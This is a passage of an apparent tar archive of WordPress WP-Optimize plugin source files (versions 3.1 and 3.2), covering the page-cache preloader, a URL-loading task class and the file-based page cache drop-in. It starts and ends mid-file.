					$this->create_tasks_for_preload_site_urls($type);
					restore_current_blog();
				}
			} else {
				$this->create_tasks_for_preload_site_urls($type);
			}
		}

		if ($lock) $creating_tasks_semaphore->unlock();

		$this->process_tasks_queue();

		// return $response in WP-CLI mode
		if ($is_wp_cli) {
			return $response;
		}
	}

	/**
	 * Check if we need run cache preload and run it.
	 */
	public function run_scheduled_cache_preload() {

		$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
		if (!$schedule_type) return;

		// Don't run preload if cache lifespan option enabled and cache not expired yet.
		if ('wpo_use_cache_lifespan' == $schedule_type) {

			/**
			 * Filters the allowed time difference between the cache exiry and the current time, in seconds.
			 * If the cache expires in less than $allowed_time_difference, preload. Otherwise leave it.
			 *
			 * @param integer $allowed_time_difference The time difference, in seconds (default = 600)
			 */
			$allowed_time_difference = apply_filters('wpo_preload_allowed_time_difference', 600);
			$page_cache_lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length', 0);
			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload', 0);
			$time_since_last_preload = time() - $last_preload_time;
			$minimum_time_to_next_schedule_preload = $page_cache_lifespan - $allowed_time_difference;
			// Skip this if the last preload is not as old as the cache lifespan minus $allowed_time_difference
			if ($page_cache_lifespan > 0 && $time_since_last_preload < $minimum_time_to_next_schedule_preload) return;
		}

		$this->run();
	}

	/**
	 * Process tasks queue.
	 */
	public function process_tasks_queue() {
		// schedule continue preload action.
		$this->schedule_preload_continue_action();

		if (!$this->process_queue($this->task_type)) {
			return;
		}

		// delete scheduled continue preload action.
		$this->delete_preload_continue_action();

		// update last cache preload time only if processing any tasks, else process was cancelled.
		if ($this->is_running()) {
			$this->options->update_option('wpo_last_page_cache_preload', time());
		}

		$this->clean_up_old_tasks($this->task_type);
	}

	/**
	 * Find out if the current queue should be interrupted
	 *
	 * @param boolean $interrupt
	 * @return boolean
	 */
	public function maybe_interrupt_queue($interrupt) {

		if ($interrupt) return $interrupt;

		static $memory_threshold = null;
		if (null == $memory_threshold) {
			/**
			 * Filters the minimum memory required before stopping a queue. Default: 10MB
			 */
			$memory_threshold = apply_filters('wpo_page_cache_preload_memory_threshold', 10485760);
		}

		return WP_Optimize()->get_free_memory() < $memory_threshold;
	}

	/**
	 * Delete all preload tasks from queue.
	 */
	public function cancel_preload() {
		$this->set_cancel_flag();
		$this->delete_tasks($this->task_type);
		$this->delete_preload_continue_action();
	}

	/**
	 * Set 'cancel' option to true.
	 */
	public function set_cancel_flag() {
		$this->options->update_option('last_page_cache_preload_cancel', true);
	}

	/**
	 * Delete 'cancel' option.
	 */
	public function delete_cancel_flag() {
		$this->options->delete_option('last_page_cache_preload_cancel');
	}

	/**
	 * Check if the last preload is cancelled.
	 *
	 * @return bool
	 */
	public function is_cancelled() {
		return $this->options->get_option('last_page_cache_preload_cancel', false);
	}

	/**
	 * Check if preloading queue is processing.
	 *
	 * @return bool
	 */
	public function is_busy() {
		return $this->is_semaphore_locked($this->task_type) || $this->is_semaphore_locked('wpo_cache_preloader_creating_tasks');
	}

	/**
	 * Get current status of preloading urls.
	 *
	 * @return array
	 */
	public function get_status_info() {

		$status = $this->get_status($this->task_type);
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();

		if ($this->is_semaphore_locked('wpo_cache_preloader_creating_tasks') && !$this->is_cancelled()) {
			// we are still creating tasks.
			return array(
				'done' => false,
				'message' => __('Loading URLs...', 'wp-optimize'),
				'size' => WP_Optimize()->format_size($cache_size['size']),
				'file_count' => $cache_size['file_count']
			);
		} elseif ($status['complete_tasks'] == $status['all_tasks']) {
			$gmt_offset = (int) (3600 * get_option('gmt_offset'));

			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload');

			if ($last_preload_time) {

				$last_preload_time_str = date_i18n(get_option('time_format').', '.get_option('date_format'), $last_preload_time + $gmt_offset);

				return array(
					'done' => true,
					'message' => sprintf(__('Last preload finished at %s', 'wp-optimize'), $last_preload_time_str),
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			} else {
				return array(
					'done' => true,
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			}
		} else {
			$preload_resuming_time = wp_next_scheduled('wpo_page_cache_preload_continue');
			$preload_resuming_in = $preload_resuming_time ? $preload_resuming_time - time() : 0;
			$preloaded_message = sprintf(_n('%1$s out of %2$s URL preloaded', '%1$s out of %2$s URLs preloaded', $status['all_tasks'], 'wp-optimize'), $status['complete_tasks'], $status['all_tasks']);
			if ('sitemap' == $this->options->get_option('wpo_last_page_cache_preload_type', '')) {
				$preloaded_message = __('Preloading posts found in sitemap:', 'wp-optimize') .' '. $preloaded_message;
			}
			$return = array(
				'done' => false,
				'message' => $preloaded_message,
				'size' => WP_Optimize()->format_size($cache_size['size']),
				'file_count' => $cache_size['file_count'],
				'resume_in' => $preload_resuming_in
			);
			if (defined('DOING_AJAX') && DOING_AJAX) {
				// if no cron was found or cron is overdue more than 20s, trigger it
				if (!$preload_resuming_time || $preload_resuming_in < -20) {
					$this->run($return);
				}
			}
			return $return;
		}
	}

	/**
	 * Check if preload action in process.
	 *
	 * @return bool
	 */
	public function is_running() {
		$status = $this->get_status($this->task_type);

		if ($status['all_tasks'] > 0) return true;
	}

	/**
	 * Get cache config option value.
	 *
	 * @return mixed
	 */
	public function get_cache_config($option) {
		static $config = null;

		if (null === $config) $config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists($option, $config)) {
			return $config[$option];
		}

		return false;
	}

	/**
	 * Create tasks (WP_Optimize_Load_Url_Task) for preload all urls from site.
	 *
	 * @param string $type The preload type (currently: scheduled, manual)
	 * @return void
	 */
	public function create_tasks_for_preload_site_urls($type) {
		$urls = $this->get_site_urls();

		if (!empty($urls)) {

			$this->log(__('Creating tasks for preload site urls.', 'wp-optimize'));

			foreach ($urls as $url) {
				if (wpo_url_in_exceptions($url)) continue;

				if ($this->url_is_already_cached($url, $type)) {
					continue;
				}

				// this description is being used for internal purposes.
				$description = 'Preload - '.$url;
				$options = array('url' => $url, 'preload_type' => $type, 'anonymous_user_allowed' => (defined('DOING_CRON') && DOING_CRON) || (defined('WP_CLI') && WP_CLI));

				WP_Optimize_Load_Url_Task::create_task($this->task_type, $description, $options, 'WP_Optimize_Load_Url_Task');
			}

			$this->log(__('Tasks for preload site urls created.', 'wp-optimize'));
		}
	}

	/**
	 * Preload desktop version from url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_desktop($url) {
		$desktop_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
		);

		$desktop_args = apply_filters('wpo_page_cache_preloader_desktop_args', $desktop_args, $url);

		$this->log('preload_desktop - '. $url);

		wp_remote_get($url, $desktop_args);
	}


	/**
	 * Preload mobile version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_mobile($url) {
		static $is_mobile_caching_enabled;
		if (!isset($is_mobile_caching_enabled)) {
			$is_mobile_caching_enabled = $this->get_cache_config('enable_mobile_caching');
		}

		// Only run if option is active
		if (!$is_mobile_caching_enabled) return;

		$mobile_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',
			'timeout'     => 10,
		);

		$mobile_args = apply_filters('wpo_page_cache_preloader_mobile_args', $mobile_args, $url);

		$this->log('preload_mobile - ' . $url);

		wp_remote_get($url, $mobile_args);
	}

	/**
	 * Preload amp version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_amp($url) {
		if (!apply_filters('wpo_should_preload_amp', false, $url)) return;

		$amp_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
		);

		$url = untrailingslashit($url) . '/amp/';

		$amp_args = apply_filters('wpo_page_cache_preloader_amp_args', $amp_args, $url);

		$this->log('preload_amp - ' . $url);

		wp_remote_get($url, $amp_args);
	}

	/**
	 * Check if sitemap exists then returns list of urls from sitemap file otherwise returns all posts urls.
	 *
	 * @return array
	 */
	public function get_site_urls() {

		if ($this->exists_sitemap_file() && (false !== ($urls = $this->get_sitemap_urls()))) {
			$this->options->update_option('wpo_last_page_cache_preload_type', 'sitemap');
		} else {
			$urls = $this->get_post_urls();
			$this->options->update_option('wpo_last_page_cache_preload_type', 'posts');
		}

		$this->log(sprintf(_n('%d url found.', '%d urls found.', count($urls), 'wp-optimize'), count($urls)));

		return $urls;
	}

	/**
	 * Check if sitemap file is exists.
	 *
	 * @return bool
	 */
	public function exists_sitemap_file() {

		$response = wp_remote_get(site_url('/'.$this->get_sitemap_filename()), array('timeout' => 10));

		if (is_wp_error($response) || '200' != wp_remote_retrieve_response_code($response)) {
			$sitemap_file = $this->get_local_sitemap_file();

			if (is_file($sitemap_file)) {
				return true;
			} else {
				return false;
			}
		} else {
			return true;
		}

	}

	/**
	 * Loads sitemap file and returns list of urls.
	 *
	 * @param string $sitemap_url
	 *
	 * @return array|bool
	 */
	public function get_sitemap_urls($sitemap_url = '') {

		$urls = array();

		// if sitemap url is empty then use main sitemap file name.
		$sitemap_url = ('' === $sitemap_url) ? site_url('/'.$this->get_sitemap_filename()) : $sitemap_url;

		// if simplexml_load_string not available then we don't load sitemap.
		if (!function_exists('simplexml_load_string')) {
			return $urls;
		}

		// load sitemap file.
		$response = wp_remote_get($sitemap_url, array('timeout' => 30));

		// if we get error then
		if (is_wp_error($response)) {
			$response = file_get_contents($sitemap_url);

			// if response is empty then try load from file.
			if (empty($response) && '' == $sitemap_url) {
				$sitemap_file = $this->get_local_sitemap_file();

				$response = file_get_contents($sitemap_file);
			}

			if (empty($response)) return $urls;

			$xml = @simplexml_load_string($response); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		} else {
			// parse xml answer.
			$xml = @simplexml_load_string(wp_remote_retrieve_body($response)); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		}

		// xml file has not valid xml content then return false.
		if (false === $xml) return false;

		// if exists urls then return them.
		if (isset($xml->url)) {
			foreach ($xml->url as $element) {
				if (!isset($element->loc)) continue;
				$urls[] = (string) $element->loc;
			}
		} elseif (isset($xml->sitemap)) {
			// if has links to other sitemap files then get urls from them.
			foreach ($xml->sitemap as $element) {
				if (!isset($element->loc)) continue;

				$sitemap_urls = $this->get_sitemap_urls($element->loc);

				if (is_array($sitemap_urls)) {
					$urls = array_merge($urls, $sitemap_urls);
				}
			}
		}

		return $urls;
	}

	/**
	 * Get the path to a local sitemap file
	 *
	 * @return string
	 */
	private function get_local_sitemap_file() {
		if (!function_exists('get_home_path')) {
			include_once ABSPATH . '/wp-admin/includes/file.php';
		}
		return trailingslashit(get_home_path()) . $this->get_sitemap_filename();
	}

	/**
	 * Get all posts of any post type and returns urls for them.
	 *
	 * @return array
	 */
	public function get_post_urls() {

		$offset = 0;
		$posts_per_page = 1000;
		$urls = array();

		$urls[] = site_url('/');

		do {
			$query = new WP_Query(array(
				'post_type'         => 'any',
				'post_status'       => 'publish',
				'posts_per_page'    => $posts_per_page,
				'offset'            => $offset,
				'orderby'           => 'ID',
				'order'             => 'ASC',
				'cache_results'     => false, // disable cache to avoid memory error.
			));

			$posts_loaded = $query->post_count;

			while ($query->have_posts()) {
				$query->the_post();
				$urls[] = get_permalink();
			}

			$offset += $posts_loaded;
		} while ($posts_loaded > 0);

		/**
		 * If domain mapping enabled then replace domains in urls.
		 */
		if ($this->is_domain_mapping_enabled()) {
			$blog_id = get_current_blog_id();

			$mapped_domain = $this->get_mapped_domain($blog_id);
			$blog_details = get_blog_details($blog_id);

			if ($mapped_domain) {
				foreach ($urls as $i => $url) {
					$urls[$i] = preg_replace('/'.$blog_details->domain.'/i', $mapped_domain, $url, 1);
				}
			}
		}

		wp_reset_postdata();

		return $urls;
	}

	/**
	 * Check if domain mapping enabled.
	 *
	 * @return bool
	 */
	public function is_domain_mapping_enabled() {
		// SUNRISE constant is defined with installation WordPress MU Domain Mapping plugin.
		$enabled = is_multisite() && defined('SUNRISE') && 'on' == strtolower(SUNRISE);

		/**
		 * Filters if Multisite Domain mapping is enabled.
		 * Currently, we can only detect if the WordPress MU Domain Mapping plugin is in use.
		 * Using the WP Core functionality should not require this, unless if the domain name is set somewhere else but in the site url option.
		 */
		return apply_filters('wpo_is_domain_mapping_enabled', $enabled);
	}

	/**
	 * Return mapped domain by $blog_id.
	 *
	 * @param int $blog_id
	 *
	 * @return string
	 */
	public function get_mapped_domain($blog_id) {
		global $wpdb;

		$domain = '';
		$multisite_plugin_table_name = $wpdb->base_prefix.'domain_mapping';
		// Check if table exists
		if ($wpdb->get_var("SHOW TABLES LIKE '$multisite_plugin_table_name'") != $multisite_plugin_table_name) {
			// This table created in WordPress MU Domain Mapping plugin.
			$row = $wpdb->get_row("SELECT `domain` FROM {$multisite_plugin_table_name} WHERE `blog_id` = {$blog_id} AND `active` = 1", ARRAY_A);
			if (!empty($row)) {
				$domain = $row['domain'];
			}
		} else {
			// When using the WP Core method, the site url option contains the mapped domain.
			$domain = get_site_url($blog_id);
		}

		/**
		 * Filters the mapped domain name
		 *
		 * @param string  $domain  The domain name
		 * @param integer $blog_id The blog ID
		 */
		return apply_filters('wpo_get_mapped_domain', $domain, $blog_id);
	}

	/**
	 * Captures and logs any interesting messages
	 *
	 * @param String $message    - the error message
	 * @param String $error_type - the error type
	 */
	public function log($message, $error_type = 'info') {

		if (isset($this->loggers)) {
			foreach ($this->loggers as $logger) {
				$logger->log($error_type, $message);
			}
		}
	}

	/**
	 * Instance of WP_Optimize_Page_Cache_Preloader.
	 *
	 * @return WP_Optimize_Page_Cache_Preloader
	 */
	public static function instance() {
		if (empty(self::$_instance)) {
			self::$_instance = new WP_Optimize_Page_Cache_Preloader();
		}

		return self::$_instance;
	}

	/**
	 * Get sitemap filename.
	 *
	 * @return string
	 */
	private function get_sitemap_filename() {
		/**
		 * Filter the sitemap file used to collect the URLs to preload
		 *
		 * @param string $filename - The sitemap name
		 * @default sitemap.xml
		 */
		return apply_filters('wpo_cache_preload_sitemap_filename', 'sitemap.xml');
	}

	/**
	 * Check if semaphore is locked.
	 *
	 * @param string $semaphore
	 * @return bool
	 */
	private function is_semaphore_locked($semaphore) {
		$semaphore = new Updraft_Semaphore_2_2($semaphore);
		return $semaphore->is_locked();
	}

	/**
	 * Check if the URL is already cached, or needs to be preloaded
	 *
	 * @param string $url          The preloaded url
	 * @param string $preload_type The preload type (manual | scheduled)
	 * @return boolean
	 */
	private function url_is_already_cached($url, $preload_type) {
		static $files = array();
		$regenerate_count = 0;
		$folder = trailingslashit(WPO_CACHE_FILES_DIR) . wpo_get_url_path($url);
		// If the folder does not exist, consider the URL as cleared
		if (!is_dir($folder)) return false;

		if (empty($files)) {
			// Check only the base files
			$files[] = 'index.html';

			if (WPO_Cache_Config::instance()->get_option('enable_mobile_caching')) {
				$files[] = 'mobile.index.html';
			}
			$files = apply_filters('wpo_maybe_clear_files_list', $files);
		}

		foreach ($files as $file) {
			$file_path = trailingslashit($folder).$file;
			if (!file_exists($file_path)) {
				// The file does not exist, count it as "deleted"
				$regenerate_count++;
				continue;
			}

			if ($this->should_regenerate_file($file_path, $preload_type)) {
				// delefe the expired cache file
				unlink($file_path);
				$regenerate_count++;
			}
		}

		// if 0 == $regenerate_count, nothing all the expected files exist, and none were deleted.
		return 0 == $regenerate_count;
	}

	/**
	 * Determine if a file should be regenerated
	 *
	 * @param string $path         The file to check
	 * @param string $preload_type The preload type (manual | scheduled)
	 *
	 * @return boolean
	 */
	private function should_regenerate_file($path, $preload_type) {
		// Store the variables, as they'll be used for each file and each file
		static $is_preloader_scheduled = null;
		static $lifespan = null;
		static $schedule_type = null;
		static $schedule_interval = null;
		static $lifespan_expiry_threshold = null;
		static $always_regenerate_file_if_preload_is_manual = null;
		static $always_regenerate_file_if_preload_is_scheduled = null;
		static $regenerate_file_when_no_expiry_date = null;

		// Sets the variables once per request:
		if (null === $is_preloader_scheduled) {
			$is_preloader_scheduled = WPO_Cache_Config::instance()->get_option('enable_schedule_preload');
			$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
			$lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length');
			$schedule_interval = $this->get_schedule_interval($schedule_type);

			/**
			 * Expiry threshold: the current file will be considered stale if within the threshold. Default: 600s (10min)
			 */
			$lifespan_expiry_threshold = apply_filters('wpo_lifespan_expiry_threshold', 600);

			/**
			 * Filters if a cache should systematically be regenerated when running a manual preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_manual = apply_filters('wpo_always_regenerate_file_if_preload_is_manual', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a scheduled preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_scheduled = apply_filters('wpo_always_regenerate_file_if_preload_is_scheduled', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a preload and no schedule is set, and cache does not expire. Default: true
			 */
			$regenerate_file_when_no_expiry_date = apply_filters('wpo_regenerate_file_when_no_expiry_date', true);
		}

		if (($always_regenerate_file_if_preload_is_manual && 'manual' == $preload_type) || ($always_regenerate_file_if_preload_is_scheduled && 'scheduled' == $preload_type)) {
			$result = true;
		} else {

			$modified_time = (int) filemtime($path);

			// cache lifespan is set.
			if (0 != $lifespan) {
				$expiry_time = $modified_time + $lifespan - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} elseif ($is_preloader_scheduled) {
				$expiry_time = $modified_time + $schedule_interval - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} else {
				$result = $regenerate_file_when_no_expiry_date;
			}
			
		}
		
		return apply_filters('wpo_preloader_should_regenerate_file', $result, $path, $preload_type);
	}
}

WP_Optimize_Page_Cache_Preloader::instance();
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-load-url-task.php000644 000000 000000 00000003024 13637401250 033332 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('Access denied.');

if (!class_exists('Updraft_Task_1_1')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');

class WP_Optimize_Load_Url_Task extends Updraft_Task_1_1 {

	/**
	 * Default options.
	 */
	public function get_default_options() {
		return array();
	}

	/**
	 * Run preload http requests with different user-agent values to cache pages for different devices.
	 *
	 * @return bool
	 */
	public function run() {
		$url = $this->get_option('url');

		if (empty($url)) return;

		$cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		// load pages with different user-agents values.

		$cache_preloader->preload_desktop($url);
		$cache_preloader->preload_mobile($url);
		$cache_preloader->preload_amp($url);

		if (defined('WP_CLI') && WP_CLI) {
			WP_CLI::log($url);
		}

		/**
		 * Action triggered after preloading a single url
		 *
		 * @param string $url             The url to preload
		 * @param object $cache_preloader Cache preloader instance
		 */
		do_action('wpoptimize_after_preload_url', $url, $cache_preloader);

		/**
		 * Allows to change the delay between each URL preload, to reduce server load.
		 *
		 * @param integer $preload_delay The delay between each request in microseconds (1000000 = 1 second).
		 */
		usleep(apply_filters('wpoptimize_preload_delay', 500000));

		return true;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000011556 13665416124 032733 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache');

/**
 * Load extensions.
 */
wpo_cache_load_extensions();

/**
 * Action triggered when the cache extensions are all loaded. Allows to execute code depending on an other extension, without knowing the order in which the files are loaded.
 */
if (function_exists('do_action')) {
	do_action('wpo_cache_extensions_loaded');
}

$no_cache_because = array();

// check if we want to cache current page.
if (function_exists('add_filter') && function_exists('apply_filters')) {
	add_filter('wpo_restricted_cache_page_type', 'wpo_restricted_cache_page_type');
	$restricted_cache_page_type = apply_filters('wpo_restricted_cache_page_type', false);
} else {
	// On old WP versions, you can't filter the result
	$restricted_cache_page_type = wpo_restricted_cache_page_type(false);
}

if ($restricted_cache_page_type) {
	$no_cache_because[] = $restricted_cache_page_type;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) {
	$no_cache_because[] = 'The request method was not GET ('.(isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '-').')';
}

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && !preg_match('#sitemap([a-zA-Z0-9_-]+)?\.xml$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array('php', 'xml', 'xsl'))) {
	$no_cache_because[] = 'The request extension is not suitable for caching';
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array('wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_');

	if (empty($GLOBALS['wpo_cache_config']['enable_user_caching']) || false == $GLOBALS['wpo_cache_config']['enable_user_caching']) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($wp_cookies as $cookie) {
				if (false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'WordPress login cookies were detected';
					break(2);
				}
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_posts'])) {
		foreach ($_COOKIE['wpo_commented_posts'] as $path) {
			if (rtrim($path, '/') === rtrim($_SERVER['REQUEST_URI'], '/')) {
				$no_cache_because[] = 'The user has commented on a post (comment cookie set)';
				break;
			}
		}
	}

	// get cookie exceptions from options.
	$cache_exception_cookies = !empty($GLOBALS['wpo_cache_config']['cache_exception_cookies']) ? $GLOBALS['wpo_cache_config']['cache_exception_cookies'] : array();
	// filter cookie exceptions, since WP 4.6
	$cache_exception_cookies = function_exists('apply_filters') ? apply_filters('wpo_cache_exception_cookies', $cache_exception_cookies) : $cache_exception_cookies;

	// check if any cookie exists from exception list.
	if (!empty($cache_exception_cookies)) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($cache_exception_cookies as $cookie) {
				if ('' != trim($cookie) && false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'An excepted cookie was set ('.$key.')';
					break 2;
				}
			}
		}
	}
}

// check in not disabled current user agent
if (!empty($_SERVER['HTTP_USER_AGENT']) && false === wpo_is_accepted_user_agent($_SERVER['HTTP_USER_AGENT'])) {
	$no_cache_because[] = "In the settings, caching is disabled for matches for this request's user agent";
}

// Deal with optional cache exceptions.
if (wpo_url_in_exceptions(wpo_current_url())) {
	$no_cache_because[] = 'In the settings, caching is disabled for matches for the current URL';
}

if (!empty($_GET)) {
	// get variables used for building filename.
	$get_variable_names = wpo_cache_query_variables();

	$get_variables = wpo_cache_maybe_ignore_query_variables(array_keys($_GET));

	// if GET variables include one or more undefined variable names then we don't cache.
	$diff = array_diff($get_variables, $get_variable_names);
	if (!empty($diff)) {
		$no_cache_because[] = "In the settings, caching is disabled for matches for one of the current request's GET parameters";
	}
}

if (!empty($no_cache_because)) {
	$message = implode(', ', $no_cache_because);

	// Add http header
	if (!defined('DOING_CRON') || !DOING_CRON) {
		wpo_cache_add_nocache_http_header($message);
	}

	// Only output if the user has turned on debugging output
	if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON)) {
		wpo_cache_add_footer_output("Page not served from cache because: ".htmlspecialchars($message));
	}
	return;
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/000755 000000 000000 00000000000 14214670220 025170 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/000755 000000 000000 00000000000 14214670220 026233 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-cache-preloader.php000644 000000 000000 00000051717 14213733440 033706 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');


if (!class_exists('WP_Optimize_Load_Url_Task')) require_once(dirname(__FILE__) . '/class-wpo-load-url-task.php');

if (!class_exists('WP_Optimize_Preloader')) require_once(WPO_PLUGIN_MAIN_PATH . 'includes/class-wpo-preloader.php');

class WP_Optimize_Page_Cache_Preloader extends WP_Optimize_Preloader {

	protected $preload_type = 'page_cache';

	protected $task_type = 'load-url-task';

	static protected $_instance = null;

	/**
	 * WP_Optimize_Page_Cache_Preloader constructor.
	 */
	public function __construct() {
		parent::__construct();

		add_filter('cron_schedules', array($this, 'cron_add_intervals'));
		add_action('wpo_page_cache_schedule_preload', array($this, 'run_scheduled_cache_preload'));
		add_filter('wpo_preload_headers', array($this, 'preload_headers'));
	}

	/**
	 * Check if cache is active.
	 *
	 * @return bool
	 */
	public function is_option_active() {
		return WP_Optimize()->get_page_cache()->is_enabled();
	}

	/**
	 * Schedule or delete automatic preload action on cache settings update.
	 *
	 * @param array $new_settings      The new settings
	 * @param array $previous_settings Settings before saving
	 */
	public function cache_settings_updated($new_settings, $previous_settings) {
		if (!$new_settings['enable_page_caching']) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			$this->delete_preload_continue_action();
			return;
		}

		if (!empty($new_settings['enable_schedule_preload'])) {

			$last_schedule_type = $previous_settings['preload_schedule_type'];

			if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
				// if already scheduled this schedule type
				if ($new_settings['preload_schedule_type'] == $last_schedule_type) {
					// If the schedule type is cache lifespan, check if the cache lifespan changed.
					if ('wpo_use_cache_lifespan' == $new_settings['preload_schedule_type']) {
						// Else, if the settings cache lifespan settings haven't changed, returns
						if ($new_settings['page_cache_length_value'] == $previous_settings['page_cache_length_value'] && $new_settings['page_cache_length_unit'] == $previous_settings['page_cache_length_unit']) {
							return;
						}
					} else {
						return;
					}
				}
				// clear currently scheduled preload action.
				wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			}
			// schedule preload action.
			wp_schedule_event((time() + $this->get_schedule_interval($new_settings['preload_schedule_type'])), $new_settings['preload_schedule_type'], 'wpo_page_cache_schedule_preload');
		} else {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

	}

	/**
	 * Clear active preload tasks, reschedule preload action.
	 */
	public function reschedule_preload() {
		// clear scheduled action.
		if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

		// schedule preload action if need.
		if ($this->is_scheduled_preload_enabled()) {
			$preload_schedule_type = $this->get_cache_config('preload_schedule_type');
			wp_schedule_event(time() + $this->get_schedule_interval($preload_schedule_type), $preload_schedule_type, 'wpo_page_cache_schedule_preload');
		}
	}

	/**
	 * Check if scheduled preload enabled.
	 *
	 * @return bool
	 */
	public function is_scheduled_preload_enabled() {
		$enable_schedule_preload = $this->get_cache_config('enable_schedule_preload');
		return !empty($enable_schedule_preload);
	}

	/**
	 * Add intervals to cron schedules.
	 *
	 * @param array $schedules
	 *
	 * @return array
	 */
	public function cron_add_intervals($schedules) {
		$interval = $this->get_continue_preload_cron_interval();
		$schedules['wpo_page_cache_preload_continue_interval'] = array(
			'interval' => $interval,
			'display' => round($interval / 60, 1).' minutes'
		);

		$schedules['wpo_use_cache_lifespan'] = array(
			'interval' => WPO_Cache_Config::instance()->get_option('page_cache_length'),
			'display' => 'Same as cache lifespan: '.WPO_Cache_Config::instance()->get_option('page_cache_length_value').' '.WPO_Cache_Config::instance()->get_option('page_cache_length_unit')
		);

		return $schedules;
	}


	/**
	 * Check if we need run cache preload and run it.
	 */
	public function run_scheduled_cache_preload() {

		$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
		if (!$schedule_type) return;

		// Don't run preload if cache lifespan option enabled and cache not expired yet.
		if ('wpo_use_cache_lifespan' == $schedule_type) {

			/**
			 * Filters the allowed time difference between the cache exiry and the current time, in seconds.
			 * If the cache expires in less than $allowed_time_difference, preload. Otherwise leave it.
			 *
			 * @param integer $allowed_time_difference The time difference, in seconds (default = 600)
			 */
			$allowed_time_difference = apply_filters('wpo_preload_allowed_time_difference', 600);
			$page_cache_lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length', 0);
			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload', 0);
			$time_since_last_preload = time() - $last_preload_time;
			$minimum_time_to_next_schedule_preload = $page_cache_lifespan - $allowed_time_difference;
			// Skip this if the last preload is not as old as the cache lifespan minus $allowed_time_difference
			if ($page_cache_lifespan > 0 && $time_since_last_preload < $minimum_time_to_next_schedule_preload) return;
		}

		$this->run();
	}


	/**
	 * Get cache config option value.
	 *
	 * @return mixed
	 */
	public function get_cache_config($option) {
		static $config = null;

		if (null === $config) $config = WPO_Page_Cache::instance()->config->get();

